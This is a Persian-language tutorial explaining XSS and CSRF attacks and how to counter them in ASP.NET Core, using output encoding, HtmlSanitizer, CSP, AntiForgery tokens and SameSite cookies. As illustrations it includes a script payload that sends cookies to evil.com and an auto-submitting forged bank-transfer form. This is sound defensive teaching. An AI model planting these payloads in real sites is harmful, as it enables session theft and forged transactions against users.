امنیت وب معمولاً تا زمانی که یک حادثه پیش نیامده، آخرین اولویت توسعهدهندههاست. اما دو حملهی XSS و CSRF آنقدر رایج هستند که همیشه در فهرست OWASP Top 10 جای دارند. در این مقاله هر دو حمله را از نزدیک بررسی میکنیم، تفاوتشان را روشن میکنیم، و نشان میدهیم ASP.NET Core چه ابزارهایی برای مقابله با آنها در اختیارتان میگذارد — از جمله AntiForgery Token که نقش کلیدی در دفاع در برابر CSRF دارد.
XSS چیست؟ (Cross-Site Scripting)
در حملهی XSS، مهاجم موفق میشود کد جاوااسکریپت مخرب خودش را داخل صفحهای که کاربر دیگری آن را میبیند، تزریق کند. وقتی مرورگر قربانی آن کد را اجرا میکند، مهاجم میتواند کوکیها را بدزدد، هویت کاربر را جعل کند، یا کاربر را به سایت فیشینگ هدایت کند.
سادهترین مثال: فرض کنید یک بخش نظرات دارید که ورودی کاربر را بدون Sanitize مستقیم در صفحه نمایش میدهد:
<!-- کاربر این متن رو بهعنوان نظر ثبت کرده -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
اگر این متن بدون فیلتر مستقیم در HTML قرار بگیرد، مرورگر هر کاربری که این صفحه را باز کند، بیسروصدا کوکیاش را برای مهاجم ارسال میکند.
انواع XSS
مقابله با XSS در ASP.NET Core
خبر خوب اینجاست که Razor بهصورت پیشفرض HTML Encoding را روی هر مقداری که با @ چاپ میکنید انجام میدهد:
<p>@Model.CommentText</p>
مشکل از جایی شروع میشود که این رفتار پیشفرض را دور بزنید — مثلاً با ()Html.Raw:
@Html.Raw(Model.CommentText)
قانون طلایی: از ()Html.Raw فقط زمانی استفاده کنید که محتوا از منبع کاملاً قابلاعتماد باشد (مثل یک ادیتور HTML داخلی با Sanitizer مشخص)، نه از ورودی مستقیم کاربر.
برای مواردی که واقعاً نیاز به پذیرفتن HTML محدود دارید (مثل یک ادیتور متن غنی)، از یک کتابخانهی Sanitizer مثل HtmlSanitizer استفاده کنید تا تگها و ویژگیهای خطرناک حذف شوند:
var sanitizer = new HtmlSanitizer();
sanitizer.AllowedTags.Clear();
sanitizer.AllowedTags.Add("b");
sanitizer.AllowedTags.Add("i");
sanitizer.AllowedTags.Add("p");
string safeHtml = sanitizer.Sanitize(userInput);
علاوه بر این، تنظیم صحیح هدر Content-Security-Policy (CSP) یک لایهی دفاعی اضافه است که حتی اگر یک XSS از فیلترها رد شود، اجرای اسکریپتهای غیرمجاز را در سطح مرورگر مسدود میکند:
app.Use(async (context, next) =>
{
context.Response.Headers.Append(
"Content-Security-Policy",
"default-src 'self'; script-src 'self'");
await next();
});
CSRF چیست؟ (Cross-Site Request Forgery)
در حملهی CSRF، مهاجم کاربری را که از قبل در سایت شما لاگین کرده فریب میدهد تا بدون اطلاع خودش، یک درخواست را به سرور شما ارسال کند. چون مرورگر بهصورت خودکار کوکیهای Session را با هر درخواست به همان دامنه میفرستد، سرور نمیتواند تشخیص دهد این درخواست واقعاً از خواست کاربر بوده یا از یک صفحهی مخرب دیگر.
مثال کلاسیک: فرض کنید سایت بانکی شما یک فرم انتقال وجه با متد GET یا POST ساده دارد. مهاجم میتواند در سایت خودش یک فرم مخفی بسازد که هنگام بازدید قربانی، خودکار Submit میشود:
<!-- در یک سایت مخرب، خارج از کنترل شما -->
<form action="https://yourbank.com/transfer" method="POST">
<input type="hidden" name="amount" value="5000" />
<input type="hidden" name="toAccount" value="12345" />
</form>
<script>document.forms[0].submit();</script>
اگر قربانی همزمان در سایت بانکی لاگین باشد، مرورگر بهطور خودکار کوکی Session معتبر را همراه این درخواست میفرستد و سرور، بدون راه تشخیص، درخواست را معتبر تلقی میکند.
تفاوت کلیدی XSS و CSRF
| ویژگی | XSS | CSRF |
|---|---|---|
| هدف اصلی | اجرای کد مخرب در مرورگر قربانی | سوءاستفاده از Session معتبر قربانی |
| محل آسیبپذیری | خروجی سرور (عدم Encode صحیح) | عدم اعتبارسنجی مبدأ درخواست |
| نیاز به لاگین قربانی | خیر (لزوماً) | بله |
| راه اصلی مقابله | HTML Encoding + Sanitize + CSP | AntiForgery Token + SameSite Cookie |
| میتواند داده بخواند؟ | بله، هر چیزی در DOM | خیر، فقط عملیات (نوشتن) را جعل میکند |
نقش AntiForgery Token در مقابله با CSRF
راهحل اصلی ASP.NET Core برای CSRF، مکانیزمی به نام AntiForgery Token (یا Anti-CSRF Token) است. ایدهی اصلی ساده است:
- سرور هنگام نمایش فرم، یک توکن تصادفی و غیرقابلحدس تولید میکند
- این توکن به دو شکل ارسال میشود: یکی داخل یک Hidden Field در خود فرم، و یکی داخل یک کوکی
- وقتی فرم Submit میشود، سرور مقدار توکن داخل فرم را با مقدار داخل کوکی مقایسه میکند
- چون یک سایت مخرب نمیتواند به مقدار کوکی سایت شما دسترسی داشته باشد (بهخاطر Same-Origin Policy)، نمیتواند توکن معتبر را در فرم جعلی خودش قرار دهد
این تکنیک به Double Submit Cookie Pattern معروف است: مهاجم میتواند کاربر را وادار به ارسال درخواست کند، اما نمیتواند مقدار صحیح توکن را حدس بزند یا از کوکی مرورگر قربانی بخواند، پس درخواستش رد میشود.
استفاده از AntiForgery Token در Razor Pages / MVC
در فرمهای معمولی Razor، فقط کافی است از Tag Helper استاندارد فرم استفاده کنید — توکن بهصورت خودکار اضافه میشود:
<form asp-action="Transfer" method="post">
<!-- <input name="__RequestVerificationToken" type="hidden" value="..." /> -->
<input asp-for="Amount" />
<button type="submit">انتقال وجه</button>
</form>
و در سمت Action، اعتبارسنجی با یک Attribute ساده فعال میشود:
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Transfer(TransferModel model)
{
if (!ModelState.IsValid)
return View(model);
await _paymentService.TransferAsync(model.Amount, model.ToAccount);
return RedirectToAction(nameof(Success));
}
اگر بخواهید این رفتار را برای همهی اکشنهای POST بهصورت سراسری فعال کنید (توصیهشده برای پروژههای جدید)، میتوانید یک Filter سراسری اضافه کنید:
builder.Services.AddControllersWithViews(options =>
{
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());
});
استفاده از AntiForgery Token در فراخوانیهای AJAX / Fetch
وقتی فرم را با جاوااسکریپت (نه Submit مستقیم) ارسال میکنید، باید توکن را خودتان از یک Endpoint یا از یک Hidden Field بخوانید و در هدر درخواست قرار دهید:
app.MapGet("/antiforgery/token", (IAntiforgery antiforgery, HttpContext context) =>
{
var tokens = antiforgery.GetAndStoreTokens(context);
return Results.Json(new { token = tokens.RequestToken });
});
// سمت کلاینت
const res = await fetch('/antiforgery/token');
const { token } = await res.json();
await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'RequestVerificationToken': token
},
body: JSON.stringify({ amount: 5000, toAccount: '12345' })
});
لایهی دفاعی دوم: SameSite Cookies
در کنار AntiForgery Token، تنظیم صحیح ویژگی SameSite روی کوکی Session یک لایهی دفاعی مهم و مکمل است. این ویژگی به مرورگر میگوید کوکی را فقط در درخواستهایی که از همان سایت شروع شدهاند ارسال کند:
builder.Services.ConfigureApplicationCookie(options =>
{
options.Cookie.SameSite = SameSiteMode.Strict;
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
});
نکته: SameSite=Strict امنترین حالت است اما ممکن است در سناریوهایی مثل ورود از طریق لینک ایمیل مشکل ایجاد کند. برای اکثر پروژهها SameSite=Lax تعادل خوبی بین امنیت و تجربهی کاربری است. مهم اینکه SameSite جایگزین AntiForgery Token نیست، بلکه مکمل آن است — چون برخی مرورگرهای قدیمیتر از SameSite پشتیبانی نمیکنند.
چکلیست عملی امنیت
جمعبندی
XSS و CSRF دو حملهی متفاوت با دو مکانیزم دفاعی متفاوت هستند: XSS با Encode درست خروجی و Sanitize ورودی مهار میشود، در حالیکه CSRF با اثبات اینکه درخواست واقعاً از همان سایت شما آمده — از طریق AntiForgery Token و SameSite Cookie — دفع میشود. خبر خوب اینجاست که ASP.NET Core بیشتر این دفاعها را بهصورت پیشفرض یا با یک خط تنظیمات فراهم میکند؛ کار اصلی شما این است که این پیشفرضها را خاموش نکنید و از میانبرهایی مثل ()Html.Raw بدون احتیاط عبور نکنید.